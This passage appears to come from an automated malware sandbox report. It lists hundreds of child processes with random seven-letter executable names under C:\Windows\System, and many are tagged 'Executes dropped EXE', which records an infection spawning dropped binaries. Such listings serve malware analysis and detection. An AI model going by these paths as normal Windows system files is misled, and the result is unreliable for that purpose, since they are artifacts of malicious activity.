  PID:2164
- C:\Windows\System\gMLuhft.exe
  C:\Windows\System\gMLuhft.exe
  2⤵
  - Executes dropped EXE
  PID:5084
- C:\Windows\System\fZSeIxj.exe
  C:\Windows\System\fZSeIxj.exe
  2⤵
  - Executes dropped EXE
  PID:656
- C:\Windows\System\lzdDsqz.exe
  C:\Windows\System\lzdDsqz.exe
  2⤵
  - Executes dropped EXE
  PID:4280
- C:\Windows\System\olZxGga.exe
  C:\Windows\System\olZxGga.exe
  2⤵
  - Executes dropped EXE
  PID:2724
- C:\Windows\System\MaNOMbO.exe
  C:\Windows\System\MaNOMbO.exe
  2⤵
  - Executes dropped EXE
  PID:1584
- C:\Windows\System\chDtYvy.exe
  C:\Windows\System\chDtYvy.exe
  2⤵
  - Executes dropped EXE
  PID:5108
- C:\Windows\System\CsQzCWL.exe
  C:\Windows\System\CsQzCWL.exe
  2⤵
  - Executes dropped EXE
  PID:972
- C:\Windows\System\iocPOTq.exe
  C:\Windows\System\iocPOTq.exe
  2⤵
  - Executes dropped EXE
  PID:1540
- C:\Windows\System\DykmyQs.exe
  C:\Windows\System\DykmyQs.exe
  2⤵
  - Executes dropped EXE
  PID:2876
- C:\Windows\System\kATabOM.exe
  C:\Windows\System\kATabOM.exe
  2⤵
  - Executes dropped EXE
  PID:2988
- C:\Windows\System\QxpaPQD.exe
  C:\Windows\System\QxpaPQD.exe
  2⤵
  - Executes dropped EXE
  PID:1264
- C:\Windows\System\lAQZCyn.exe
  C:\Windows\System\lAQZCyn.exe
  2⤵
  - Executes dropped EXE
  PID:4716
- C:\Windows\System\fjtrfig.exe
  C:\Windows\System\fjtrfig.exe
  2⤵
  - Executes dropped EXE
  PID:808
- C:\Windows\System\eIlZXbW.exe
  C:\Windows\System\eIlZXbW.exe
  2⤵
  - Executes dropped EXE
  PID:732
- C:\Windows\System\mqwPaDx.exe
  C:\Windows\System\mqwPaDx.exe
  2⤵
  - Executes dropped EXE
  PID:4556
- C:\Windows\System\CKfyctO.exe
  C:\Windows\System\CKfyctO.exe
  2⤵
  - Executes dropped EXE
  PID:1428
- C:\Windows\System\VSULAFg.exe
  C:\Windows\System\VSULAFg.exe
  2⤵
  - Executes dropped EXE
  PID:872
- C:\Windows\System\MYQIjkn.exe
  C:\Windows\System\MYQIjkn.exe
  2⤵
  - Executes dropped EXE
  PID:1512
- C:\Windows\System\NwGlldj.exe
  C:\Windows\System\NwGlldj.exe
  2⤵
  - Executes dropped EXE
  PID:336
- C:\Windows\System\wvXEekr.exe
  C:\Windows\System\wvXEekr.exe
  2⤵
  - Executes dropped EXE
  PID:3212
- C:\Windows\System\avpYGnV.exe
  C:\Windows\System\avpYGnV.exe
  2⤵
  - Executes dropped EXE
  PID:4404
- C:\Windows\System\dGOMkcX.exe
  C:\Windows\System\dGOMkcX.exe
  2⤵
  - Executes dropped EXE
  PID:2328
- C:\Windows\System\MSyzDMl.exe
  C:\Windows\System\MSyzDMl.exe
  2⤵
  - Executes dropped EXE
  PID:3880
- C:\Windows\System\IjOajmv.exe
  C:\Windows\System\IjOajmv.exe
  2⤵
  - Executes dropped EXE
  PID:2128
- C:\Windows\System\IKbXSfI.exe
  C:\Windows\System\IKbXSfI.exe
  2⤵
  - Executes dropped EXE
  PID:2668
- C:\Windows\System\sTeltDx.exe
  C:\Windows\System\sTeltDx.exe
  2⤵
  - Executes dropped EXE
  PID:4560
- C:\Windows\System\zNHYEFX.exe
  C:\Windows\System\zNHYEFX.exe
  2⤵
  - Executes dropped EXE
  PID:3100
- C:\Windows\System\gKtwDXN.exe
  C:\Windows\System\gKtwDXN.exe
  2⤵
  - Executes dropped EXE
  PID:2548
- C:\Windows\System\jEJUjHn.exe
  C:\Windows\System\jEJUjHn.exe
  2⤵
  - Executes dropped EXE
  PID:2748
- C:\Windows\System\JPVGfvc.exe
  C:\Windows\System\JPVGfvc.exe
  2⤵
  - Executes dropped EXE
  PID:4480
- C:\Windows\System\oofnLdr.exe
  C:\Windows\System\oofnLdr.exe
  2⤵
  - Executes dropped EXE
  PID:1108
- C:\Windows\System\HZEaHWv.exe
  C:\Windows\System\HZEaHWv.exe
  2⤵
  - Executes dropped EXE
  PID:3536
- C:\Windows\System\EfmdTKf.exe
  C:\Windows\System\EfmdTKf.exe
  2⤵
  - Executes dropped EXE
  PID:1128
- C:\Windows\System\GjcmXyR.exe
  C:\Windows\System\GjcmXyR.exe
  2⤵
  - Executes dropped EXE
  PID:1000
- C:\Windows\System\ncKbXIS.exe
  C:\Windows\System\ncKbXIS.exe
  2⤵
  - Executes dropped EXE
  PID:452
- C:\Windows\System\IZlXQPu.exe
  C:\Windows\System\IZlXQPu.exe
  2⤵
  - Executes dropped EXE
  PID:4772
- C:\Windows\System\AhZeQfx.exe
  C:\Windows\System\AhZeQfx.exe
  2⤵
  - Executes dropped EXE
  PID:1056
- C:\Windows\System\TSJCccf.exe
  C:\Windows\System\TSJCccf.exe
  2⤵
  - Executes dropped EXE
  PID:2948
- C:\Windows\System\EsyYClC.exe
  C:\Windows\System\EsyYClC.exe
  2⤵
  - Executes dropped EXE
  PID:4512
- C:\Windows\System\UtxZAqf.exe
  C:\Windows\System\UtxZAqf.exe
  2⤵
  - Executes dropped EXE
  PID:2456
- C:\Windows\System\SjwOpgp.exe
  C:\Windows\System\SjwOpgp.exe
  2⤵
  - Executes dropped EXE
  PID:1480
- C:\Windows\System\lFGBwOC.exe
  C:\Windows\System\lFGBwOC.exe
  2⤵
  - Executes dropped EXE
  PID:4188
- C:\Windows\System\EGhmBvr.exe
  C:\Windows\System\EGhmBvr.exe
  2⤵
  - Executes dropped EXE
  PID:4972
- C:\Windows\System\xnwqxDx.exe
  C:\Windows\System\xnwqxDx.exe
  2⤵
  PID:4236
- C:\Windows\System\xyyNWuz.exe
  C:\Windows\System\xyyNWuz.exe
  2⤵
  - Executes dropped EXE
  PID:1904
- C:\Windows\System\tRfWMuF.exe
  C:\Windows\System\tRfWMuF.exe
  2⤵
  - Executes dropped EXE
  PID:3516
- C:\Windows\System\jjeutUZ.exe
  C:\Windows\System\jjeutUZ.exe
  2⤵
  - Executes dropped EXE
  PID:64
- C:\Windows\System\OnPJCIF.exe
  C:\Windows\System\OnPJCIF.exe
  2⤵
  - Executes dropped EXE
  PID:3856
- C:\Windows\System\eaaEtdQ.exe
  C:\Windows\System\eaaEtdQ.exe
  2⤵
  - Executes dropped EXE
  PID:1984
- C:\Windows\System\FGBIWSb.exe
  C:\Windows\System\FGBIWSb.exe
  2⤵
  - Executes dropped EXE
  PID:2728
- C:\Windows\System\vuhPypv.exe
  C:\Windows\System\vuhPypv.exe
  2⤵
  - Executes dropped EXE
  PID:3184
- C:\Windows\System\gvsUhEE.exe
  C:\Windows\System\gvsUhEE.exe
  2⤵
  - Executes dropped EXE
  PID:1776
- C:\Windows\System\dqYTRRZ.exe
  C:\Windows\System\dqYTRRZ.exe
  2⤵
  - Executes dropped EXE
  PID:2972
- C:\Windows\System\VLTXOlO.exe
  C:\Windows\System\VLTXOlO.exe
  2⤵
  - Executes dropped EXE
  PID:4592
- C:\Windows\System\jAdqleN.exe
  C:\Windows\System\jAdqleN.exe
  2⤵
  - Executes dropped EXE
  PID:1420
- C:\Windows\System\ONDgKND.exe
  C:\Windows\System\ONDgKND.exe
  2⤵
  - Executes dropped EXE
  PID:4352
- C:\Windows\System\IxjmbBH.exe
  C:\Windows\System\IxjmbBH.exe
  2⤵
  - Executes dropped EXE
  PID:4412
- C:\Windows\System\ncdlssM.exe
  C:\Windows\System\ncdlssM.exe
  2⤵
  - Executes dropped EXE
  PID:3644
- C:\Windows\System\GfIDNKC.exe
  C:\Windows\System\GfIDNKC.exe
  2⤵
  PID:3972
- C:\Windows\System\ZdoQZBe.exe
  C:\Windows\System\ZdoQZBe.exe
  2⤵
  PID:3628
- C:\Windows\System\oSeqUDJ.exe
  C:\Windows\System\oSeqUDJ.exe
  2⤵
  PID:3172
- C:\Windows\System\tTzybda.exe
  C:\Windows\System\tTzybda.exe
  2⤵
  PID:3952
- C:\Windows\System\yyPDMWn.exe
  C:\Windows\System\yyPDMWn.exe
  2⤵
  PID:1848
- C:\Windows\System\ykvlJaN.exe
  C:\Windows\System\ykvlJaN.exe
  2⤵
  PID:1720
- C:\Windows\System\JVfUSlZ.exe
  C:\Windows\System\JVfUSlZ.exe
  2⤵
  PID:60
- C:\Windows\System\KzxrDhc.exe
  C:\Windows\System\KzxrDhc.exe
  2⤵
  PID:1704
- C:\Windows\System\yJUpOhb.exe
  C:\Windows\System\yJUpOhb.exe
  2⤵
  PID:1728
- C:\Windows\System\PVssEYD.exe
  C:\Windows\System\PVssEYD.exe
  2⤵
  PID:3868
- C:\Windows\System\kDyJeQW.exe
  C:\Windows\System\kDyJeQW.exe
  2⤵
  PID:2460
- C:\Windows\System\uMTzSvH.exe
  C:\Windows\System\uMTzSvH.exe
  2⤵
  PID:4688
- C:\Windows\System\vSOqLfT.exe
  C:\Windows\System\vSOqLfT.exe
  2⤵
  PID:1608
- C:\Windows\System\pOJGHIF.exe
  C:\Windows\System\pOJGHIF.exe
  2⤵
  PID:4608
- C:\Windows\System\dvtLeqR.exe
  C:\Windows\System\dvtLeqR.exe
  2⤵
  PID:1944
- C:\Windows\System\qckjuQe.exe
  C:\Windows\System\qckjuQe.exe
  2⤵
  PID:3748
- C:\Windows\System\OeEKiSr.exe
  C:\Windows\System\OeEKiSr.exe
  2⤵
  PID:1764
- C:\Windows\System\XqerIJL.exe
  C:\Windows\System\XqerIJL.exe
  2⤵
  PID:4380
- C:\Windows\System\JHyxXin.exe
  C:\Windows\System\JHyxXin.exe
  2⤵
  PID:3428
- C:\Windows\System\IISwLYT.exe
  C:\Windows\System\IISwLYT.exe
  2⤵
  PID:2956
- C:\Windows\System\DfYfZYj.exe
  C:\Windows\System\DfYfZYj.exe
  2⤵
  PID:1120
- C:\Windows\System\fSNgctl.exe
  C:\Windows\System\fSNgctl.exe
  2⤵
  PID:5136
- C:\Windows\System\PqAfgjH.exe
  C:\Windows\System\PqAfgjH.exe
  2⤵
  PID:5156
- C:\Windows\System\yYfLjDG.exe
  C:\Windows\System\yYfLjDG.exe
  2⤵
  PID:5180
- C:\Windows\System\cliSjRo.exe
  C:\Windows\System\cliSjRo.exe
  2⤵
  PID:5196
- C:\Windows\System\QaLasbB.exe
  C:\Windows\System\QaLasbB.exe
  2⤵
  PID:5224
- C:\Windows\System\eamMxoD.exe
  C:\Windows\System\eamMxoD.exe
  2⤵
  PID:5248
- C:\Windows\System\rbHspHK.exe
  C:\Windows\System\rbHspHK.exe
  2⤵
  PID:5268
- C:\Windows\System\pqEJmQz.exe
  C:\Windows\System\pqEJmQz.exe
  2⤵
  PID:5288
- C:\Windows\System\gUxOcGL.exe
  C:\Windows\System\gUxOcGL.exe
  2⤵
  PID:5312
- C:\Windows\System\PIdpovP.exe
  C:\Windows\System\PIdpovP.exe
  2⤵
  PID:5328
- C:\Windows\System\aLDpuKO.exe
  C:\Windows\System\aLDpuKO.exe
  2⤵
  PID:5456
- C:\Windows\System\MFJbFAg.exe
  C:\Windows\System\MFJbFAg.exe
  2⤵
  PID:5496
- C:\Windows\System\KrTskRs.exe
  C:\Windows\System\KrTskRs.exe
  2⤵
  PID:5520
- C:\Windows\System\TNMEcVC.exe
  C:\Windows\System\TNMEcVC.exe
  2⤵
  PID:5540
- C:\Windows\System\ZOkTowC.exe
  C:\Windows\System\ZOkTowC.exe
  2⤵
  PID:5564
- C:\Windows\System\ZdEvQBv.exe
  C:\Windows\System\ZdEvQBv.exe
  2⤵
  PID:5604
- C:\Windows\System\FmCEijq.exe
  C:\Windows\System\FmCEijq.exe
  2⤵
  PID:5628
- C:\Windows\System\QbZNhFX.exe
  C:\Windows\System\QbZNhFX.exe
  2⤵
  PID:5656
- C:\Windows\System\JJgRDbM.exe
  C:\Windows\System\JJgRDbM.exe
  2⤵
  PID:5676
- C:\Windows\System\ZnGQTOQ.exe
  C:\Windows\System\ZnGQTOQ.exe
  2⤵
  PID:5720
- C:\Windows\System\oxNeBpl.exe
  C:\Windows\System\oxNeBpl.exe
  2⤵
  PID:5744
- C:\Windows\System\JhzaaBm.exe
  C:\Windows\System\JhzaaBm.exe
  2⤵
  PID:5772
- C:\Windows\System\EgpZKEU.exe
  C:\Windows\System\EgpZKEU.exe
  2⤵
  PID:5788
- C:\Windows\System\FWYydbY.exe
  C:\Windows\System\FWYydbY.exe
  2⤵
  PID:5812
- C:\Windows\System\lOdAHmh.exe
  C:\Windows\System\lOdAHmh.exe
  2⤵
  PID:5832
- C:\Windows\System\SNTaOcg.exe
  C:\Windows\System\SNTaOcg.exe
  2⤵
  PID:5852
- C:\Windows\System\pOVilHo.exe
  C:\Windows\System\pOVilHo.exe
  2⤵
  PID:5872
- C:\Windows\System\dFYQMtv.exe
  C:\Windows\System\dFYQMtv.exe
  2⤵
  PID:5888
- C:\Windows\System\GIRKEKV.exe
  C:\Windows\System\GIRKEKV.exe
  2⤵
  PID:5936
- C:\Windows\System\NjBcZBR.exe
  C:\Windows\System\NjBcZBR.exe
  2⤵
  PID:5960
- C:\Windows\System\cqqECNt.exe
  C:\Windows\System\cqqECNt.exe
  2⤵
  PID:5980
- C:\Windows\System\rSFSLzv.exe
  C:\Windows\System\rSFSLzv.exe
  2⤵
  PID:6000
- C:\Windows\System\PDxUCkB.exe
  C:\Windows\System\PDxUCkB.exe
  2⤵
  PID:6024
- C:\Windows\System\jUOGRGw.exe
  C:\Windows\System\jUOGRGw.exe
  2⤵
  PID:6048
- C:\Windows\System\PPkVOiL.exe
  C:\Windows\System\PPkVOiL.exe
  2⤵
  PID:6072
- C:\Windows\System\zATTyyC.exe
  C:\Windows\System\zATTyyC.exe
  2⤵
  PID:6092
- C:\Windows\System\xfKpiGw.exe
  C:\Windows\System\xfKpiGw.exe
  2⤵
  PID:6116
- C:\Windows\System\MptChax.exe
  C:\Windows\System\MptChax.exe
  2⤵
  PID:6140
- C:\Windows\System\SjQowEn.exe
  C:\Windows\System\SjQowEn.exe
  2⤵
  PID:4704
- C:\Windows\System\zFTKJLE.exe
  C:\Windows\System\zFTKJLE.exe
  2⤵
  PID:5012
- C:\Windows\System\ADNEepK.exe
  C:\Windows\System\ADNEepK.exe
  2⤵
  PID:1368
- C:\Windows\System\cMxjWDk.exe
  C:\Windows\System\cMxjWDk.exe
  2⤵
  PID:3556
- C:\Windows\System\jWlpUhk.exe
  C:\Windows\System\jWlpUhk.exe
  2⤵
  PID:3356
- C:\Windows\System\BSiselY.exe
  C:\Windows\System\BSiselY.exe
  2⤵
  PID:1992
- C:\Windows\System\uVONqaB.exe
  C:\Windows\System\uVONqaB.exe
  2⤵
  PID:1476
- C:\Windows\System\OlQWIBU.exe
  C:\Windows\System\OlQWIBU.exe
  2⤵
  PID:892
- C:\Windows\System\WnknFEK.exe
  C:\Windows\System\WnknFEK.exe
  2⤵
  PID:5260
- C:\Windows\System\qdmLYSP.exe
  C:\Windows\System\qdmLYSP.exe
  2⤵
  PID:5348
- C:\Windows\System\kgKZSoZ.exe
  C:\Windows\System\kgKZSoZ.exe
  2⤵
  PID:2132
- C:\Windows\System\ZkpFrEO.exe
  C:\Windows\System\ZkpFrEO.exe
  2⤵
  PID:816
- C:\Windows\System\ZkZADHI.exe
  C:\Windows\System\ZkZADHI.exe
  2⤵
  PID:3576
- C:\Windows\System\tsdtIpM.exe
  C:\Windows\System\tsdtIpM.exe
  2⤵
  PID:1864
- C:\Windows\System\HOZzGjp.exe
  C:\Windows\System\HOZzGjp.exe
  2⤵
  PID:3308
- C:\Windows\System\VvUjNfN.exe
  C:\Windows\System\VvUjNfN.exe
  2⤵
  PID:3756
- C:\Windows\System\BNmQkfE.exe
  C:\Windows\System\BNmQkfE.exe
  2⤵
  PID:4784
- C:\Windows\System\xbFynyy.exe
  C:\Windows\System\xbFynyy.exe
  2⤵
  PID:5128
- C:\Windows\System\QsIFtwH.exe
  C:\Windows\System\QsIFtwH.exe
  2⤵
  PID:5176
- C:\Windows\System\DNCzaAS.exe
  C:\Windows\System\DNCzaAS.exe
  2⤵
  PID:5304
- C:\Windows\System\kYioTkL.exe
  C:\Windows\System\kYioTkL.exe
  2⤵
  PID:5528
- C:\Windows\System\BjagmVo.exe
  C:\Windows\System\BjagmVo.exe
  2⤵
  PID:5644
- C:\Windows\System\qqWfvzo.exe
  C:\Windows\System\qqWfvzo.exe
  2⤵
  PID:5480
- C:\Windows\System\XqcMyEl.exe
  C:\Windows\System\XqcMyEl.exe
  2⤵
  PID:6060
- C:\Windows\System\lSPFAdN.exe
  C:\Windows\System\lSPFAdN.exe
  2⤵
  PID:3768
- C:\Windows\System\xLWEeaA.exe
  C:\Windows\System\xLWEeaA.exe
  2⤵
  PID:4964
- C:\Windows\System\cVsyOCa.exe
  C:\Windows\System\cVsyOCa.exe
  2⤵
  PID:5736
- C:\Windows\System\DjoBwcv.exe
  C:\Windows\System\DjoBwcv.exe
  2⤵
  PID:5576
- C:\Windows\System\sNOeNcA.exe
  C:\Windows\System\sNOeNcA.exe
  2⤵
  PID:6180
- C:\Windows\System\NkSdBcZ.exe
  C:\Windows\System\NkSdBcZ.exe
  2⤵
  PID:6200
- C:\Windows\System\OiSjeDD.exe
  C:\Windows\System\OiSjeDD.exe
  2⤵
  PID:6256
- C:\Windows\System\ZqHZWiz.exe
  C:\Windows\System\ZqHZWiz.exe
  2⤵
  PID:6280
- C:\Windows\System\jWDCmJj.exe
  C:\Windows\System\jWDCmJj.exe
  2⤵
  PID:6304
- C:\Windows\System\ZLWvnrU.exe
  C:\Windows\System\ZLWvnrU.exe
  2⤵
  PID:6324
- C:\Windows\System\FUCePgN.exe
  C:\Windows\System\FUCePgN.exe
  2⤵
  PID:6348
- C:\Windows\System\fIZtqzD.exe
  C:\Windows\System\fIZtqzD.exe
  2⤵
  PID:6372
- C:\Windows\System\dOxhZuu.exe
  C:\Windows\System\dOxhZuu.exe
  2⤵
  PID:6400
- C:\Windows\System\mkWyVfr.exe
  C:\Windows\System\mkWyVfr.exe
  2⤵
  PID:6424
- C:\Windows\System\SdVKiuM.exe
  C:\Windows\System\SdVKiuM.exe
  2⤵
  PID:6444
- C:\Windows\System\rKxsXpt.exe
  C:\Windows\System\rKxsXpt.exe
  2⤵
  PID:6464
- C:\Windows\System\unmbEdg.exe
  C:\Windows\System\unmbEdg.exe
  2⤵
  PID:6488
- C:\Windows\System\bOiTQcr.exe
  C:\Windows\System\bOiTQcr.exe
  2⤵
  PID:6512
- C:\Windows\System\raOOAxz.exe
  C:\Windows\System\raOOAxz.exe
  2⤵
  PID:6536
- C:\Windows\System\PxQPufl.exe
  C:\Windows\System\PxQPufl.exe
  2⤵
  PID:6972
- C:\Windows\System\kKxdItC.exe
  C:\Windows\System\kKxdItC.exe
  2⤵
  PID:6988
- C:\Windows\System\GzBAnvU.exe
  C:\Windows\System\GzBAnvU.exe
  2⤵
  PID:7008
- C:\Windows\System\BvAPliO.exe
  C:\Windows\System\BvAPliO.exe
  2⤵
  PID:7024
- C:\Windows\System\BFiXTZP.exe
  C:\Windows\System\BFiXTZP.exe
  2⤵
  PID:7040
- C:\Windows\System\GvTPgHL.exe
  C:\Windows\System\GvTPgHL.exe
  2⤵
  PID:7060
- C:\Windows\System\ejgchfd.exe
  C:\Windows\System\ejgchfd.exe
  2⤵
  PID:7076
- C:\Windows\System\ONCsAtj.exe
  C:\Windows\System\ONCsAtj.exe
  2⤵
  PID:7096
- C:\Windows\System\wkJacjg.exe
  C:\Windows\System\wkJacjg.exe
  2⤵
  PID:7120
- C:\Windows\System\qsyQRhc.exe
  C:\Windows\System\qsyQRhc.exe
  2⤵
  PID:7144
- C:\Windows\System\YtGXobZ.exe
  C:\Windows\System\YtGXobZ.exe
  2⤵
  PID:5596
- C:\Windows\System\UThQqsD.exe
  C:\Windows\System\UThQqsD.exe
  2⤵
  PID:5668
- C:\Windows\System\dcufveX.exe
  C:\Windows\System\dcufveX.exe
  2⤵
  PID:6084
- C:\Windows\System\CcYcxsN.exe
  C:\Windows\System\CcYcxsN.exe
  2⤵
  PID:3240
- C:\Windows\System\KgBnjkz.exe
  C:\Windows\System\KgBnjkz.exe
  2⤵
  PID:5716
- C:\Windows\System\MyMthyg.exe
  C:\Windows\System\MyMthyg.exe
  2⤵
  PID:5756
- C:\Windows\System\GcexFbF.exe
  C:\Windows\System\GcexFbF.exe
  2⤵
  PID:5820
- C:\Windows\System\lLJDVfX.exe
  C:\Windows\System\lLJDVfX.exe
  2⤵
  PID:5860
- C:\Windows\System\hYMWGrq.exe
  C:\Windows\System\hYMWGrq.exe
  2⤵
  PID:5880
- C:\Windows\System\woTBijm.exe
  C:\Windows\System\woTBijm.exe
  2⤵
  PID:5928
- C:\Windows\System\EIQxzZz.exe
  C:\Windows\System\EIQxzZz.exe
  2⤵
  PID:6020
- C:\Windows\System\tsjfFCU.exe
  C:\Windows\System\tsjfFCU.exe
  2⤵
  PID:6124
- C:\Windows\System\XBObXCD.exe
  C:\Windows\System\XBObXCD.exe
  2⤵
  PID:1940
- C:\Windows\System\vZMBHJs.exe
  C:\Windows\System\vZMBHJs.exe
  2⤵
  PID:5244
- C:\Windows\System\doDjKcz.exe
  C:\Windows\System\doDjKcz.exe
  2⤵
  PID:6392
- C:\Windows\System\DvmaeUj.exe
  C:\Windows\System\DvmaeUj.exe
  2⤵
  PID:6152
- C:\Windows\System\XbqcrQj.exe
  C:\Windows\System\XbqcrQj.exe
  2⤵
  PID:6500
- C:\Windows\System\RKXgYkC.exe
  C:\Windows\System\RKXgYkC.exe
  2⤵
  PID:6680
- C:\Windows\System\poryyoy.exe
  C:\Windows\System\poryyoy.exe
  2⤵
  PID:6732
- C:\Windows\System\ZALeMPb.exe
  C:\Windows\System\ZALeMPb.exe
  2⤵
  PID:6756
- C:\Windows\System\NLXjTnD.exe
  C:\Windows\System\NLXjTnD.exe
  2⤵
  PID:6796
- C:\Windows\System\qUTKErg.exe
  C:\Windows\System\qUTKErg.exe
  2⤵
  PID:6852
- C:\Windows\System\nVLQYRI.exe
  C:\Windows\System\nVLQYRI.exe
  2⤵
  PID:6900
- C:\Windows\System\stHSdKg.exe
  C:\Windows\System\stHSdKg.exe
  2⤵
  PID:7000
- C:\Windows\System\TNWMKkD.exe
  C:\Windows\System\TNWMKkD.exe
  2⤵
  PID:7188
- C:\Windows\System\akKrtax.exe
  C:\Windows\System\akKrtax.exe
  2⤵
  PID:7204
- C:\Windows\System\lLMKLcf.exe
  C:\Windows\System\lLMKLcf.exe
  2⤵
  PID:7220
- C:\Windows\System\SbZbHqz.exe
  C:\Windows\System\SbZbHqz.exe
  2⤵
  PID:7244
- C:\Windows\System\eshzIqZ.exe
  C:\Windows\System\eshzIqZ.exe
  2⤵
  PID:7268
- C:\Windows\System\LqfZBdI.exe
  C:\Windows\System\LqfZBdI.exe
  2⤵
  PID:7292
- C:\Windows\System\uxpSSKV.exe
  C:\Windows\System\uxpSSKV.exe
  2⤵
  PID:7316
- C:\Windows\System\CblKWWP.exe
  C:\Windows\System\CblKWWP.exe
  2⤵
  PID:7340
- C:\Windows\System\UjYhKim.exe
  C:\Windows\System\UjYhKim.exe
  2⤵
  PID:7356
- C:\Windows\System\IQSfuGS.exe
  C:\Windows\System\IQSfuGS.exe
  2⤵
  PID:7392
- C:\Windows\System\qtPkODG.exe
  C:\Windows\System\qtPkODG.exe
  2⤵
  PID:7408
- C:\Windows\System\vBuFhid.exe
  C:\Windows\System\vBuFhid.exe
  2⤵
  PID:7424
- C:\Windows\System\fQsRaus.exe
  C:\Windows\System\fQsRaus.exe
  2⤵
  PID:7444
- C:\Windows\System\GMcVqQf.exe
  C:\Windows\System\GMcVqQf.exe
  2⤵
  PID:7600
- C:\Windows\System\xGneANo.exe
  C:\Windows\System\xGneANo.exe
  2⤵
  PID:7624
- C:\Windows\System\aRnKVfN.exe
  C:\Windows\System\aRnKVfN.exe
  2⤵
  PID:7648
- C:\Windows\System\UcJLUHI.exe
  C:\Windows\System\UcJLUHI.exe
  2⤵
  PID:7668
- C:\Windows\System\uEIuJZn.exe
  C:\Windows\System\uEIuJZn.exe
  2⤵
  PID:7688
- C:\Windows\System\dFiGVeD.exe
  C:\Windows\System\dFiGVeD.exe
  2⤵
  PID:7712
- C:\Windows\System\ZqKPsLW.exe
  C:\Windows\System\ZqKPsLW.exe
  2⤵
  PID:7736
- C:\Windows\System\GLOSqiB.exe
  C:\Windows\System\GLOSqiB.exe
  2⤵
  PID:7756
- C:\Windows\System\OXYIAAX.exe
  C:\Windows\System\OXYIAAX.exe
  2⤵
  PID:7780
- C:\Windows\System\GdglMPo.exe
  C:\Windows\System\GdglMPo.exe
  2⤵
  PID:7800
- C:\Windows\System\PtkyjUo.exe
  C:\Windows\System\PtkyjUo.exe
  2⤵
  PID:7824
- C:\Windows\System\zLmviKm.exe
  C:\Windows\System\zLmviKm.exe
  2⤵
  PID:7848
- C:\Windows\System\IZRLAbG.exe
  C:\Windows\System\IZRLAbG.exe
  2⤵
  PID:7872
- C:\Windows\System\zzCNEnf.exe
  C:\Windows\System\zzCNEnf.exe
  2⤵
  PID:7892
- C:\Windows\System\zezVpdM.exe
  C:\Windows\System\zezVpdM.exe
  2⤵
  PID:7916
- C:\Windows\System\tKFzKcC.exe
  C:\Windows\System\tKFzKcC.exe
  2⤵
  PID:7944
- C:\Windows\System\piUZrlD.exe
  C:\Windows\System\piUZrlD.exe
  2⤵
  PID:7960
- C:\Windows\System\AUlYTkT.exe
  C:\Windows\System\AUlYTkT.exe
  2⤵
  PID:7984
- C:\Windows\System\fbfRrBz.exe
  C:\Windows\System\fbfRrBz.exe
  2⤵
  PID:8008
- C:\Windows\System\oxcqYEJ.exe
  C:\Windows\System\oxcqYEJ.exe
  2⤵
  PID:8080
- C:\Windows\System\ZeqzKPF.exe
  C:\Windows\System\ZeqzKPF.exe
  2⤵
  PID:8112
- C:\Windows\System\KBGRueO.exe
  C:\Windows\System\KBGRueO.exe
  2⤵
  PID:8132
- C:\Windows\System\rYdEXme.exe
  C:\Windows\System\rYdEXme.exe
  2⤵
  PID:8168
- C:\Windows\System\cAhvgkx.exe
  C:\Windows\System\cAhvgkx.exe
  2⤵
  PID:8184
- C:\Windows\System\bpAMItX.exe
  C:\Windows\System\bpAMItX.exe
  2⤵
  PID:7020
- C:\Windows\System\gVarGXC.exe
  C:\Windows\System\gVarGXC.exe
  2⤵
  PID:7088
- C:\Windows\System\uZLaXSg.exe
  C:\Windows\System\uZLaXSg.exe
  2⤵
  PID:7140
- C:\Windows\System\BbrSUVA.exe
  C:\Windows\System\BbrSUVA.exe
  2⤵
  PID:3364
- C:\Windows\System\dklsJux.exe
  C:\Windows\System\dklsJux.exe
  2⤵
  PID:5172
- C:\Windows\System\VRwPvUs.exe
  C:\Windows\System\VRwPvUs.exe
  2⤵
  PID:5708
- C:\Windows\System\JsBEzeD.exe
  C:\Windows\System\JsBEzeD.exe
  2⤵
  PID:5844
- C:\Windows\System\CWnNyXL.exe
  C:\Windows\System\CWnNyXL.exe
  2⤵
  PID:5900
- C:\Windows\System\RUlealO.exe
  C:\Windows\System\RUlealO.exe
  2⤵
  PID:6100
- C:\Windows\System\ESwgygu.exe
  C:\Windows\System\ESwgygu.exe
  2⤵
  PID:4776
- C:\Windows\System\bGWFWfu.exe
  C:\Windows\System\bGWFWfu.exe
  2⤵
  PID:6156
- C:\Windows\System\FtkXCUb.exe
  C:\Windows\System\FtkXCUb.exe
  2⤵
  PID:6472
- C:\Windows\System\RfnUTjo.exe
  C:\Windows\System\RfnUTjo.exe
  2⤵
  PID:6436
- C:\Windows\System\vLPosmw.exe
  C:\Windows\System\vLPosmw.exe
  2⤵
  PID:6292
- C:\Windows\System\GsqarQr.exe
  C:\Windows\System\GsqarQr.exe
  2⤵
  PID:6696
- C:\Windows\System\ccecAXN.exe
  C:\Windows\System\ccecAXN.exe
  2⤵
  PID:6788
- C:\Windows\System\OmpaUIq.exe
  C:\Windows\System\OmpaUIq.exe
  2⤵
  PID:6980
- C:\Windows\System\NfAyDin.exe
  C:\Windows\System\NfAyDin.exe
  2⤵
  PID:7212
- C:\Windows\System\sMvzPlV.exe
  C:\Windows\System\sMvzPlV.exe
  2⤵
  PID:7240
- C:\Windows\System\GNKSkuz.exe
  C:\Windows\System\GNKSkuz.exe
  2⤵
  PID:7312
- C:\Windows\System\KpjPydo.exe
  C:\Windows\System\KpjPydo.exe
  2⤵
  PID:7348
- C:\Windows\System\rDLHeYM.exe
  C:\Windows\System\rDLHeYM.exe
  2⤵
  PID:7380
- C:\Windows\System\GHWknZt.exe
  C:\Windows\System\GHWknZt.exe
  2⤵
  PID:7432
- C:\Windows\System\xNgAgaV.exe
  C:\Windows\System\xNgAgaV.exe
  2⤵
  PID:7788
- C:\Windows\System\oohblIW.exe
  C:\Windows\System\oohblIW.exe
  2⤵
  PID:7900
- C:\Windows\System\KHBeSrb.exe
  C:\Windows\System\KHBeSrb.exe
  2⤵
  PID:7932
- C:\Windows\System\gOtJOGW.exe
  C:\Windows\System\gOtJOGW.exe
  2⤵
  PID:7504
- C:\Windows\System\ybaWsfG.exe
  C:\Windows\System\ybaWsfG.exe
  2⤵
  PID:7860
- C:\Windows\System\HcFGbVe.exe
  C:\Windows\System\HcFGbVe.exe
  2⤵
  PID:8176
- C:\Windows\System\qrkmDaI.exe
  C:\Windows\System\qrkmDaI.exe
  2⤵
  PID:7036
- C:\Windows\System\GSKtNln.exe
  C:\Windows\System\GSKtNln.exe
  2⤵
  PID:7568
- C:\Windows\System\cxrIswa.exe
  C:\Windows\System\cxrIswa.exe
  2⤵
  PID:7620
- C:\Windows\System\evQmskI.exe
